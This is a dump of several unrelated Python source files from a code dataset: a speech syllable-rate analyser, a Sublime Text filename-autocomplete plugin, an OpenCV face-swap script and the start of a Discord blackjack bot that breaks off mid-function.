tensorflow as tf \t\t\t\t\t\t# Deep neural network library\nimport operator\t\t\t\t\t\t\t\t\t# Sorting library\nimport copy \t\t\t\t\t\t\t\t\t# Copying module.\nimport logging\nfrom termcolor import colored\n\n\nimport matplotlib.pyplot as plt \t\t\t\t# Library to visualize mfcc features.\nfrom matplotlib.font_manager import FontProperties\n#import seaborn as sns\nplt.style.use('seaborn') # pretty matplotlib plots\n\n\ntf.get_logger().setLevel(logging.ERROR) \t\t# Turning off tensorflow debugging messages.\n\n# *** Global variables / invariants ***\n\n\n# The number of deviations above or below the absolute median deviation.\nLimitDeviations = 2 \t\t\t\n\n# Unicode for the delimiters used.\ndelims = {\n\t\"slowSpeech\" : u'\\u2207',\n\t\"fastSpeech\" : u'\\u2206'\n}\n\n# *** Definitions for speech rate analysis functions ***\n\n# Main driver function\ndef analyzeSyllableRate(infoList):\n\t# Importing the construct turn function here to avoid circular dependancies.\n\tfrom CHAT import constructTurn\n\t# Copying original list so it is not modified.\n\tinfoListCopy = copy.deepcopy(infoList)\n\t# Removing hesitation markers from list\n\tinfoListCopy = removeHesitation(infoListCopy)\n\t# Constructing turns for all files in infoList.\n\tinfoListCopy = constructTurn(infoListCopy)\n\tprint(colored(\"\\nAnalyzing syllable rate...\\n\",'blue'))\n\tfor dic in infoListCopy:\n\t\tprint(\"Loading file: {0}\".format(dic['outputDir']+\"/\"+dic['jsonFile']))\n\t\t# Finding the syllable rate.\n\t\tdictionaryList = findSyllables(dic['jsonListTurns'])\n\t\t# Getting stats values.\n\t\tstatsDic = stats(dictionaryList)\n\t\t# Adding slow / fast speech delims to the transcript.\n\t\t# Adds delims to individual word jsonList.\n\t\tdic['jsonList'] = addDelims(dictionaryList,statsDic,dic['jsonList'])\n\t\t# Visuzlizing the data.\n\t\t# ** visualize(dictionaryList)\n\tfor dicCopy,dic in zip(infoListCopy,infoList):\n\t\t# Adding Hesitation markers back.\n\t\tdic['jsonList'] = addHesitation(dicCopy,dic)\n\tprint(colored(\"Syllable rate analysis completed\\n\",'green'))\n\treturn infoList\n\n# *** Helper functions for speech rate analysis ***\n\n# Function that returns a dictionary including the element, syllables per turn,\n# and the syllable rate of the turn\n# Returns: A list of dictionaries where each dictionary contains data for one turn.\ndef findSyllables(jsonListTurns):\n\tdictionaryList = []\n\tphoney = BigPhoney()\n\tfor elem in jsonListTurns:\n\t\tsyllableNum = sum([phoney.count_syllables(word) for word in elem[3].split()])\n\t\tdictionaryList.append({\"elem\" : elem, \"syllableNum\" : syllableNum,\n\t\t\t\"syllRate\" : round(syllableNum/(abs(elem[2]-elem[1])),2)})\n\treturn dictionaryList\n\n# Function that calculates the different stats values needed.\n# Input: A list of dictionaries where each dictionary contains data for one turn.\n# Returns: Dictionary containing the median, median absoulte deviation, \n# upperLimit, and lowerLimit\ndef stats(dictionaryList):\n\tallRates = []\n\tfor dic in dictionaryList:\n\t\tallRates.append(dic['syllRate'])\n\tallRates = numpy.sort(numpy.array(allRates))\n\tmedian = numpy.median(allRates)\n\tmedian_absolute_deviation = round(robust.mad(allRates),2)\n\tlowerLimit = (median-(LimitDeviations*median_absolute_deviation))\n\tupperLimit = (median+(LimitDeviations*median_absolute_deviation))\n\treturn {\"median\" : median, \"medianAbsDev\" : median_absolute_deviation,\n\t\t\"upperLimit\" : upperLimit, \"lowerLimit\" : lowerLimit}\n\n\n\n# Function that adds fast / slow speech delimiters to the transcript\ndef addDelims(dictionaryList,statsDic,jsonList):\n\tvowels = ['a','e','i','o','u']\n\tjsonListTurns = [] ; words = [] ; fastCount = 0 ; slowCount = 0\n\tfor elem in dictionaryList:\n\t\tif elem['syllRate'] <= statsDic['lowerLimit']:\n\t\t\t# For one word, adding colons to trailing vowel.\n\t\t\tif len(elem['elem'][3].split())==1 and any(char in vowels for char in elem['elem'][3]):\n\t\t\t\tpos = lastVowelPos(elem['elem'][3])\n\t\t\t\tcolons = numColons(statsDic['medianAbsDev'],elem['syllRate'], statsDic['median'])\n\t\t\t\telem['elem'][3] = elem['elem'][3][:pos+1] + (\":\"*colons) + elem['elem'][3][pos+1:]\n\t\t\telse:\n\t\t\t\telem['elem'][3] = delims['slowSpeech'] + elem['elem'][3] + delims['slowSpeech']\n\t\t\tslowCount+=1\n\t\telif elem['syllRate'] >= statsDic['upperLimit']: \n\t\t\telem['elem'][3] = delims['fastSpeech'] + elem['elem'][3] + delims['fastSpeech']\n\t\t\tfastCount+=1\n\t\tjsonListTurns.append(elem['elem'])\n\tprint(\"Fast turns found: {0}\\nSlow turns found: {1}\\n\".format(fastCount,slowCount))\n\tfor elem in jsonListTurns:\n\t\tfor word in elem[3].split():words.append(word)\n\tfor word,elem in zip(words,jsonList[1:]): elem[3] = str(word)\n\treturn jsonList\n\n\n# Function that removes hesitation markers from jsonList\ndef removeHesitation(infoList):\n\tfor dic in infoList:\n\t\tdic['jsonList'] = [elem for elem in dic['jsonList'] if elem[3] != \"%HESITATION\"]\n\treturn infoList\n\n# Function that adds hesitation markers back\n# Input: Two dictionaries in infoList.\n# Returns: jsonList\ndef addHesitation(dicCopy,dic):\n\tjsonList = []\n\tfor elem in dicCopy['jsonList']:jsonList.append(elem)\n\tfor elem in dic['jsonList']:\n\t\tif elem[3] == \"%HESITATION\":jsonList.append(elem)\n\tjsonList[1:] = sorted(jsonList[1:], key = operator.itemgetter(1))\n\treturn jsonList\n\n# Function that finds the last vowel in a string\ndef lastVowelPos(string):\n\tvowelList = []\n\tvowels = set(\"aeiouAEIOU\")\n\tfor pos, char in enumerate(string):\n\t if char in vowels:\n\t \tvowelList.append(pos)\n\treturn vowelList[-1]\n\n# Function that calculates the number of colons to be added to the slow \n# speech marker.\n# Input: Median absolute deviation for the syllable rate, Syllable rate of turn.\n# Output: The number of colons to be added.\ndef numColons(syllRateMAD, syllRateTurn,median):\n\tsyllRateDiff = abs(syllRateTurn - median)\n\t# Handling case where difference is 0 i.e. denominator cannot be 0.\n\tif syllRateDiff == 0: syllRateDiff = 0.1\n\tcolons = int(round(syllRateDiff/ syllRateMAD))\n\treturn colons\n\n\n\n# Function that visualizes the syllable rate to verify predictions\ndef visualize(dictionaryList):\n\tallRates = []\n\tfor dic in dictionaryList:\n\t\tallRates.append(dic['syllRate'])\n\tallRates = numpy.sort(numpy.array(allRates))\n\tmedian = numpy.median(allRates)\n\tmedian_absolute_deviation = round(robust.mad(allRates),2)\n\tlowerLimit = (median-(LimitDeviations*median_absolute_deviation))\n\tupperLimit = (median+(LimitDeviations*median_absolute_deviation))\n\n\n\tfig,ax = plt.subplots()\n\tax.set_xlabel(\"Syllable rate per turn (syllables / second)\")\n\tax.set_ylabel(\"Number of turns\")\n\tax.hist(allRates,bins=20,color='c', edgecolor='k')\n\tax.axvline(median,color='k', linestyle='dashed', linewidth=1, label = \"Median\")\n\tax.axvline(lowerLimit,color='r', linestyle='dashed', linewidth=1, label = \"Median + 2 * MAD\")\n\tax.axvline(upperLimit,color='r', linestyle='dashed', linewidth=1, label = \"Median - 2 * MAD\")\n\tax.set_xlim((0,10))\n\n\n\tfont = FontProperties()\n\tfont.set_family('serif')\n\tfont.set_name('Times New Roman')\n\t\n\tfig.figsize = (10,4)\n\tfig.legend(fancybox=True, framealpha=0.5,frameon=True,loc = 'upper right')\n\tleg = fig.legend()\n\tleg.get_frame().set_edgecolor('b')\n\tfig.show()\n\n\t# plt.figure(figsize=(10, 4))\n\t# plt.hist(allRates,bins=14,color='c', edgecolor='k')\n\t# plt.axvline(median,color='k', linestyle='dashed', linewidth=1)\n\t# plt.axvline(lowerLimit,color='k', linestyle='dashed', linewidth=1)\n\t# plt.axvline(upperLimit,color='k', linestyle='dashed', linewidth=1)\n\t# plt.show()\n\n\n\n\n","sub_path":"rateAnalysis.py","file_name":"rateAnalysis.py","file_ext":"py","file_size_in_byte":8228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"75148440","text":"import sublime\nimport sublime_plugin\n\nimport os\nimport ctypes\nimport platform\nimport itertools\nimport string\nimport time\n\nfrom .getimageinfo import getImageInfo\n\ng_auto_completions = []\nMAXIMUM_WAIT_TIME = 0.3\n\nclass AfnShowFilenames(sublime_plugin.TextCommand):\n def run(self, edit):\n FileNameComplete.is_active = True\n self.view.run_command('auto_complete',\n {'disable_auto_insert': True,\n 'next_completion_if_showing': False})\n\nclass AfnSettingsPanel(sublime_plugin.WindowCommand):\n def run(self):\n use_pr = '✗ Stop using project root' if self.get_setting('afn_use_project_root') else '✓ Use Project Root'\n use_dim = '✗ Disable HTML Image Dimension insertion' if self.get_setting('afn_insert_dimensions') else '✓ Auto-insert Image Dimensions in HTML'\n p_root = self.get_setting('afn_proj_root')\n\n menu = [\n [use_pr, p_root],\n [use_dim, '<img src=\"_path_\" width = \"x\" height = \"y\" >']\n ]\n self.window.show_quick_panel(menu, self.on_done)\n\n def on_done(self, value):\n settings = sublime.load_settings('autofilename.sublime-settings')\n if value == 0:\n use_pr = settings.get('afn_use_project_root')\n settings.set('afn_use_project_root', not use_pr)\n if value == 1:\n use_dim = settings.get('afn_use_project_root')\n settings.set('afn_use_project_root', not use_dim)\n\n def get_setting(self,string,view=None):\n if view and view.settings().get(string):\n return view.settings().get(string)\n else:\n return sublime.load_settings('autofilename.sublime-settings').get(string)\n\n# Used to remove the / or \\ when autocompleting a Windows drive (eg. /C:/path)\nclass AfnDeletePrefixedSlash(sublime_plugin.TextCommand):\n def run(self, edit):\n selection = self.view.sel()[0].a\n length = 5 if (self.view.substr(sublime.Region(selection-5,selection-3)) == '\\\\\\\\') else 4\n reg = sublime.Region(selection-length,selection-3)\n self.view.erase(edit, reg)\n\n# inserts width and height dimensions into img tags. HTML only\nclass InsertDimensionsCommand(sublime_plugin.TextCommand):\n this_dir = ''\n\n def insert_dimension(self,edit,dim,name,tag_scope):\n view = self.view\n selection = view.sel()[0].a\n\n if name in view.substr(tag_scope):\n reg = view.find('(?<='+name+'\\=)\\s*\\\"\\d{1,5}', tag_scope.a)\n view.replace(edit, reg, '\"'+str(dim))\n else:\n dimension = str(dim)\n view.insert(edit, selection+1, ' '+name+'=\"'+dimension+'\"')\n\n def get_setting(self,string,view=None):\n if view and view.settings().get(string):\n return view.settings().get(string)\n else:\n return sublime.load_settings('autofilename.sublime-settings').get(string)\n\n\n def insert_dimensions(self, edit, scope, w, h):\n view = self.view\n\n if self.get_setting('afn_insert_width_first',view):\n self.insert_dimension(edit,h,'height', scope)\n self.insert_dimension(edit,w,'width', scope)\n else:\n self.insert_dimension(edit,w,'width', scope)\n self.insert_dimension(edit,h,'height', scope)\n\n\n # determines if there is a template tag in a given region. supports HTML and template languages.\n def img_tag_in_region(self, region):\n view = self.view\n\n # handle template languages but template languages like slim may also contain HTML so\n # we do a check for that as well\n return view.substr(region).strip().startswith('img') | ('<img' in view.substr(region))\n\n\n def run(self, edit):\n view = self.view\n view.run_command(\"commit_completion\")\n selection = view.sel()[0].a\n\n if not 'html' in view.scope_name(selection): return\n scope = view.extract_scope(selection-1)\n\n # if using a template language, the scope is set to the current line\n tag_scope = view.line(selection) if self.get_setting('afn_template_languages',view) else view.extract_scope(scope.a-1)\n\n path = view.substr(scope)\n if path.startswith((\"'\",\"\\\"\",\"(\")):\n path = path[1:-1]\n\n path = path[path.rfind(FileNameComplete.sep):] if FileNameComplete.sep in path else path\n full_path = self.this_dir + path\n\n if self.img_tag_in_region(tag_scope) and path.endswith(('.png','.jpg','.jpeg','.gif')):\n with open(full_path,'rb') as r:\n read_data = r.read() if path.endswith(('.jpg','.jpeg')) else r.read(24)\n w, h = getImageInfo(read_data)\n\n self.insert_dimensions(edit, tag_scope, w, h)\n\n\n# When backspacing through a path, selects the previous path component\nclass ReloadAutoCompleteCommand(sublime_plugin.TextCommand):\n def run(self,edit):\n view = self.view\n view.run_command('hide_auto_complete')\n view.run_command('left_delete')\n selection = view.sel()[0].a\n\n scope = view.extract_scope(selection-1)\n scope_text = view.substr(scope)\n slash_pos = scope_text[:selection - scope.a].rfind(FileNameComplete.sep)\n slash_pos += 1 if slash_pos < 0 else 0\n\n region = sublime.Region(scope.a+slash_pos+1,selection)\n view.sel().add(region)\n\n\ndef enable_autocomplete():\n \"\"\"\n Used externally by other packages which want to autocomplete file paths\n \"\"\"\n # print( \"enable_autocomplete\" )\n FileNameComplete.is_forced = True\n\ndef disable_autocomplete():\n \"\"\"\n Used externally by other packages which want to autocomplete file paths\n \"\"\"\n # print( \"disable_autocomplete\" )\n FileNameComplete.is_forced = False\n\nclass FileNameComplete(sublime_plugin.EventListener):\n\n def __init__(self):\n FileNameComplete.is_forced = False\n FileNameComplete.is_active = False\n\n def on_activated(self,view):\n self.showing_win_drives = False\n FileNameComplete.sep = '/'\n FileNameComplete.is_active = False\n\n def get_drives(self):\n if 'Windows' not in platform.system():\n return []\n\n drive_bitmask = ctypes.cdll.kernel32.GetLogicalDrives()\n drive_list = list(itertools.compress(string.ascii_uppercase,\n map(lambda x:ord(x) - ord('0'), bin(drive_bitmask)[:1:-1])))\n\n # Overrides default auto completion\n # https://github.com/BoundInCode/AutoFileName/issues/18\n for driver in drive_list:\n g_auto_completions.append( driver + \":\" + FileNameComplete.sep )\n\n if time.time() - self.start_time > MAXIMUM_WAIT_TIME:\n return\n\n def on_query_context(self, view, key, operator, operand, match_all):\n if key == \"afn_deleting_slash\": # for reloading autocomplete\n selection = view.sel()[0]\n valid = self.at_path_end(view) and selection.empty() and view.substr(selection.a-1) == FileNameComplete.sep\n return valid == operand\n\n if key == \"afn_use_keybinding\":\n return self.get_setting('afn_use_keybinding',view) == operand\n\n def at_path_end(self,view):\n selection = view.sel()[0]\n name = view.scope_name(selection.a)\n\n if selection.empty() and ('string.end' in name or 'string.quoted.end.js' in name):\n return True\n\n if '.css' in name and view.substr(selection.a) == ')':\n return True\n\n return False\n\n def on_modified_async(self, view):\n selections = view.sel()\n\n if len( selections ) > 0:\n selection = selections[0].a\n txt = view.substr(sublime.Region(selection-4,selection-3))\n\n if (self.showing_win_drives and txt == FileNameComplete.sep):\n self.showing_win_drives = False\n view.run_command('afn_delete_prefixed_slash')\n\n def on_selection_modified_async(self,view):\n if not view.window():\n return\n\n view_name = view.name()\n buffer_id = view.buffer_id()\n file_name = view.file_name()\n\n # print( \"on_selection_modified_async, buffer_id: \" + str( buffer_id ) )\n # print( \"on_selection_modified_async, view_name: \" + str( view_name ) )\n # print( \"on_selection_modified_async, file_name: \" + str( file_name ) )\n # print( \"on_selection_modified_async, FileNameComplete.is_active: \" + str( FileNameComplete.is_active ) )\n # print( \"on_selection_modified_async, FileNameComplete.is_forced: \" + str( FileNameComplete.is_forced ) )\n # print( \"on_selection_modified_async, self.get_setting('afn_use_keybinding', view): \" + str( self.get_setting('afn_use_keybinding', view) ) )\n\n # Open autocomplete automatically if keybinding mode is used\n if not ( FileNameComplete.is_forced or FileNameComplete.is_active ):\n return\n\n # print( \"on_selection_modified_async, Here on selection_modified_async\" )\n selection = view.sel()\n\n # Fix sublime.py, line 641, in __getitem__ raise IndexError()\n if len( selection ):\n selection = view.sel()[0]\n else:\n return\n\n # if selection.empty() and self.at_path_end(view):\n if selection.empty():\n scope_contents = view.substr(view.extract_scope(selection.a-1))\n extracted_path = scope_contents.replace('\\r\\n', '\\n').split('\\n')[0]\n\n # print( \"on_selection_modified_async, extracted_path: \" + str( extracted_path ) )\n\n if('\\\\' in extracted_path and not '/' in extracted_path):\n FileNameComplete.sep = '\\\\'\n\n else:\n FileNameComplete.sep = '/'\n\n if view.substr(selection.a-1) == FileNameComplete.sep \\\n or len(view.extract_scope(selection.a)) < 3 \\\n or not file_name:\n view.run_command('auto_complete',\n {'disable_auto_insert': True,\n 'next_completion_if_showing': False})\n\n else:\n # print( \"on_selection_modified_async, FileNameComplete.is_active = False\" )\n FileNameComplete.is_active = False\n\n def fix_dir(self,sdir,fn):\n path = os.path.join(sdir, fn)\n\n if fn.endswith(('.png','.jpg','.jpeg','.gif')):\n with open(path,'rb') as r:\n read_data = r.read() if path.endswith(('.jpg','.jpeg')) else r.read(24)\n\n w, h = getImageInfo(read_data)\n return fn+'\\t'+'w:'+ str(w) +\" h:\" + str(h)\n\n if os.path.isdir(path):\n fn += \"\\tFolder\"\n elif os.path.isfile(path):\n fn += \"\\tFile\"\n\n # Overrides default auto completion, replaces dot `.` by a `ꓸ` (Lisu Letter Tone Mya Ti)\n # https://github.com/BoundInCode/AutoFileName/issues/18\n return fn.replace(\".\", \"ꓸ\")\n\n def get_cur_path(self,view,selection):\n scope_contents = view.substr(view.extract_scope(selection-1)).strip()\n cur_path = scope_contents.replace('\\r\\n', '\\n').split('\\n')[0]\n\n if cur_path.startswith((\"'\",\"\\\"\",\"(\")):\n cur_path = cur_path[1:-1]\n\n return cur_path[:cur_path.rfind(FileNameComplete.sep)+1] if FileNameComplete.sep in cur_path else ''\n\n def get_setting(self,string,view=None):\n if view and view.settings().get(string):\n return view.settings().get(string)\n\n else:\n return sublime.load_settings('autofilename.sublime-settings').get(string)\n\n def on_query_completions(self, view, prefix, locations):\n is_always_enabled = not self.get_setting('afn_use_keybinding', view)\n\n if not ( is_always_enabled or FileNameComplete.is_forced or FileNameComplete.is_active ):\n return\n\n selection = view.sel()[0].a\n\n # print( \"on_query_completions, view_id: \" + str( view.id() ) )\n # print( \"on_query_completions, selection: \" + str( selection ) )\n\n if \"string.regexp.js\" in view.scope_name(selection):\n return []\n\n blacklist = self.get_setting('afn_blacklist_scopes', view)\n valid_scopes = self.get_setting('afn_valid_scopes',view)\n\n # print( \"on_query_completions, blacklist: \" + str( blacklist ) )\n # print( \"on_query_completions, valid_scopes: \" + str( valid_scopes ) )\n\n if not any(view.match_selector(selection, scope) for scope in valid_scopes):\n return\n\n if any(view.match_selector(selection, scope) for scope in blacklist):\n return\n\n self.view = view\n self.selection = selection\n\n self.start_time = time.time()\n self.get_completions()\n\n # print( \"on_query_completions, g_auto_completions: \" + str( g_auto_completions ) )\n return g_auto_completions\n\n def get_completions(self):\n g_auto_completions.clear()\n\n file_name = self.view.file_name()\n is_proj_rel = self.get_setting('afn_use_project_root',self.view)\n\n this_dir = \"\"\n cur_path = os.path.expanduser(self.get_cur_path(self.view, self.selection))\n\n # print( \"get_completions, file_name: \" + str( file_name ) )\n # print( \"get_completions, cur_path: \" + str( cur_path ) )\n\n if cur_path.startswith('\\\\\\\\') and not cur_path.startswith('\\\\\\\\\\\\') and sublime.platform() == \"windows\":\n # print( \"get_completions, cur_path.startswith('\\\\\\\\')\" )\n self.showing_win_drives = True\n\n self.get_drives()\n return\n\n elif cur_path.startswith('/') or cur_path.startswith('\\\\'):\n\n if is_proj_rel and file_name:\n proot = self.get_setting('afn_proj_root', self.view)\n\n if proot:\n\n if not file_name and not os.path.isabs(proot):\n proot = \"/\"\n\n cur_path = os.path.join(proot, cur_path[1:])\n\n for f in sublime.active_window().folders():\n if f in file_name:\n this_dir = os.path.join(f, cur_path.lstrip('/').lstrip('\\\\'))\n\n elif not file_name:\n this_dir = cur_path\n\n else:\n this_dir = os.path.split(file_name)[0]\n this_dir = os.path.join(this_dir, cur_path)\n\n # print( \"get_completions, this_dir: \" + str( this_dir ) )\n\n try:\n if os.path.isabs(cur_path) and (not is_proj_rel or not this_dir):\n\n if sublime.platform() == \"windows\" and len(self.view.extract_scope(self.selection)) < 4:\n self.showing_win_drives = True\n\n self.get_drives()\n return\n\n elif sublime.platform() != \"windows\":\n this_dir = cur_path\n\n self.showing_win_drives = False\n dir_files = os.listdir(this_dir)\n\n for directory in dir_files:\n\n if directory.startswith( '.' ): continue\n\n if not '.' in directory: directory += FileNameComplete.sep\n\n g_auto_completions.append( ( self.fix_dir( this_dir,directory ), directory ) )\n InsertDimensionsCommand.this_dir = this_dir\n\n if time.time() - self.start_time > MAXIMUM_WAIT_TIME:\n return\n\n except OSError:\n # print( \"get_completions, AutoFileName: could not find \" + this_dir )\n pass\n\n","sub_path":"autofilename.py","file_name":"autofilename.py","file_ext":"py","file_size_in_byte":15320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"294210025","text":"#!/usr/bin/env python3\nfrom FaceCropper import FaceCropper\nimport os\nimport sys\nimport cv2\nimport numpy as np\n\n\nif __name__ == '__main__' :\n image_filename = sys.argv[1]\n save_filename = sys.argv[2]\n\n face_cropper = FaceCropper()\n\n image = face_cropper.open_image(image_filename)\n try:\n face_bounding_box = face_cropper.get_face_bounding_box(image)\n print(face_bounding_box)\n except:\n # set this as the background image\n print(\"background found!\")\n\n\n sys.exit(1)\n '''\n x1, y1, x2, x2 = face_bounding_box\n center_x = x1 + (x2 - x1)/2\n center_y = y1 + (y2 - y1)/2\n vertical_axis = (x2 - x1)/2\n horizontal_axis = (y2 - y1)/2\n img = cv.ellipse(i\n mage,\n (center_x, center_y),\n (vertical_axis, horizontal_axis), 45, 130, 270, (255,255,255), 1)\n '''\n\n landmarks = face_cropper.get_face_landmarks(image, face_bounding_box)\n #print(landmarks)\n\n #for landmark in landmarks:\n # cv2.circle(image, landmark, 5, (255, 0, 0), thickness=1, lineType=8, shift=0)\n \n min_x = 999999\n min_y = 999999\n max_x = 0\n max_y = 0\n for landmark in landmarks:\n x, y = landmark\n min_x = min(x, min_x)\n min_y = min(y, min_y)\n max_x = max(x, max_x)\n max_y = max(y, max_y)\n\n face_bounds = (min_x, min_y, max_x, max_y)\n '''\n cv2.rectangle(\n image,\n (face_bounds[0], face_bounds[1]),\n (face_bounds[2], face_bounds[3]),\n (255, 0, 255),\n 5\n )\n '''\n width, height, channels = image.shape\n image_bounds = (0, 0, width, height)\n #print(image_bounds)\n triangles = face_cropper.get_deluanay_triangles_from_landmarks(\n landmarks,\n image_bounds\n )\n #print(\"Triangles:\")\n #print(triangles)\n for triangle in triangles:\n '''\n x1, y1, x2, y2, x3, y3 = triangle\n point1 = (x1, y1)\n point2 = (x2, y2)\n point3 = (x3, y3)\n '''\n point1, point2, point3 = triangle\n\n deluanay_points = face_cropper.get_raw_points_from_deluanay_triangles(\n triangles\n )\n face_shape_indeces = face_cropper.get_face_shape_from_deluanay_trangles(\n deluanay_points\n )\n\n last_index = 0\n counter = 0\n min_x = 999999\n min_y = 999999\n max_x = 0\n max_y = 0\n face_shape_points = []\n for index in face_shape_indeces:\n x, y = deluanay_points[index[0]]\n face_shape_points.append((x, y))\n if x < min_x:\n min_x = x\n if y < min_y:\n min_y = y\n if x > max_x:\n max_x = x\n if y > max_y:\n max_y = y\n if counter > 0:\n '''\n cv2.line(\n image,\n deluanay_points[last_index[0]],\n deluanay_points[index[0]],\n (255, 255, 0),\n 5\n )\n '''\n last_index = index\n counter += 1\n\n '''\n cv2.line(\n image,\n deluanay_points[face_shape_indeces[0][0]],\n deluanay_points[face_shape_indeces[len(face_shape_indeces)-1][0]],\n (255, 255, 0),\n 5\n )\n '''\n\n pumpkin_image = face_cropper.open_image(\"beatles_inverted.jpg\")\n pts = np.array(face_shape_points).astype(np.int)\n mask = 0 * np.ones(pumpkin_image.shape, pumpkin_image.dtype)\n cv2.fillPoly(mask, [pts], (255, 255, 255), 1)\n width, height, channels = image.shape\n center = (int(round(min_x + (max_x - min_x)/2)), int(round(min_y + (max_y - min_y)/2)))\n print(center)\n output = cv2.seamlessClone(pumpkin_image, image, mask, center, cv2.NORMAL_CLONE)\n #for triangle in triangles:\n # print(triangle)\n\n \n #face_cropper.draw_ellipse(face_bounding_box)\n #face_cropper.save_image(cropped_image, save_filename)\n\n cv2.imshow('image', output)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n","sub_path":"camera/delete_face.py","file_name":"delete_face.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"383693028","text":"import random\n\nfrom discord import Colour\nfrom discord import Embed\nfrom discord import User\nfrom discord import TextChannel\nfrom discord import Guild\nfrom discord.ext import commands\n\nfrom commands.Amount_converter import Amount\nfrom commands.Coin_converter import CoinType\nfrom economy.Economy import amountValid\nfrom economy.Economy import amountToString\nfrom enum import Enum\n\nimport time\n\ndata = {}\ncards_names = [\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 2\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 3\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 4\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 4\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 5\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 6\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 7\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 8\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 9\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 10\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 10\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 10\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 10\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 10\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": 10\n },\n {\n \"emoji\": \"<:BetaGate2_Key1_Clue_HyKwIEkVVxk4:662527301669486617>\",\n \"value\": None\n }\n]\n\n\nclass Winner(Enum):\n AUTHOR = 0\n BOT = 1\n TIE = 2\n\n\ndef calculate_total(cards):\n total = 0\n for card in cards:\n total += card[\"value\"]\n return total\n\n\nasync def embed_cards(deck):\n cards = \"\".join(map(lambda card: card[\"emoji\"], deck))\n total = \" + \".join(map(lambda card: str(card[\"value\"]), deck)) + f\" = {calculate_total(deck)}\"\n return f\"{cards}\\n{total}\"\n\n\nasync def print_embed(id):\n embed = Embed()\n\n player_deck = data[id][\"author_cards\"]\n embed.add_field(name=\"Player\", value=await embed_cards(player_deck))\n\n bot_deck = data[id][\"bot_cards\"]\n embed.add_field(name=\"Bot\", value=await embed_cards(bot_deck))\n\n if data[id][\"msg_id\"] is None:\n data[id][\"msg_id\"] = await data[id][\"channel\"].send(embed=embed)\n else:\n await data[id][\"msg_id\"].edit(embed=embed)\n\n\ndef get_winner_at_moment(id):\n author_total = calculate_total(data[id][\"author_cards\"])\n bot_total = calculate_total(data[id][\"bot_cards\"])\n\n if bot_total > 21 and author_total > 21:\n return Winner.TIE\n\n if author_total > 21:\n return Winner.BOT\n\n if bot_total > 21:\n return Winner.AUTHOR\n\n if bot_total == author_total:\n return Winner.TIE\n\n return Winner.BOT if bot_total > author_total else Winner.AUTHOR\n\n\nasync def bust(id):\n\n embed = Embed(colour=Colour.red())\n\n player_deck = data[id][\"author_cards\"]\n embed.add_field(name=\"Player\", value=await embed_cards(player_deck))\n\n bot_deck = data[id][\"bot_cards\"]\n embed.add_field(name=\"Bot\", value=await embed_cards(bot_deck))\n\n embed.set_footer(text=f\"Bust I win! Better luck next time. Amount Lost: {amountToString(data[id]['amount'])} {data[id]['type'].format_string()}\", icon_url=data[id][\"icon_url\"])\n\n if data[id][\"msg_id\"] is None:\n data[id][\"msg_id\"] = await data[id][\"channel\"].send(embed=embed)\n else:\n await data[id][\"msg_id\"].edit(embed=embed)\n\n\nasync def win(id, bot):\n\n embed = Embed(colour=Colour.green())\n\n player_deck = data[id][\"author_cards\"]\n embed.add_field(name=\"Player\", value=await embed_cards(player_deck))\n\n bot_deck = data[id][\"bot_cards\"]\n embed.add_field(name=\"Bot\", value=await embed_cards(bot_deck))\n\n embed.set_footer(text=f\"Bust I win! Better luck next time. Amount Lost: {amountToString(data[id]['amount'])} {data[id]['type'].format_string()}\", icon_url=data[id][\"icon_url\"])\n\n if data[id][\"msg_id\"] is None:\n data[id][\"msg_id\"] = await data[id][\"channel\"].send(embed=embed)\n else:\n await data[id][\"msg_id\"].edit(embed=embed)\n\n bot.update_amount(id, (data[id]['amount'] * 1.9), data[id]['type'])\n\n\nasync def tie(id, bot):\n\n embed = Embed(colour=Colour.gold())\n\n player_deck = data[id][\"author_cards\"]\n embed.add_field(name=\"Player\", value=await embed_cards(player_deck))\n\n bot_deck = data[id][\"bot_cards\"]\n embed.add_field(name=\"Bot\", value=await embed_cards(bot_deck))\n\n embed.set_footer(text=f\"Bust I win! Better luck next time. Amount Lost: {amountToString(data[id]['amount'])} {data[id]['type'].format_string()}\", icon_url=data[id][\"icon_url\"])\n\n if data[id][\"msg_id\"] is None:\n data[id][\"msg_id\"] = await data[id][\"channel\"].send(embed=embed)\n else:\n await data[id][\"msg_id\"].edit(embed=embed)\n\n bot.update_amount(id, (data[id]['amount']), data[id]['type'])\n\n\nasync def hit(id, channel, bot):\n if data[id][\"author_stand\"]:\n embed = Embed(colour=Colour.red())\n embed.set_footer(text=\"Usage: !bj type amount\", icon_url=data[id][\"icon_url\"])\n 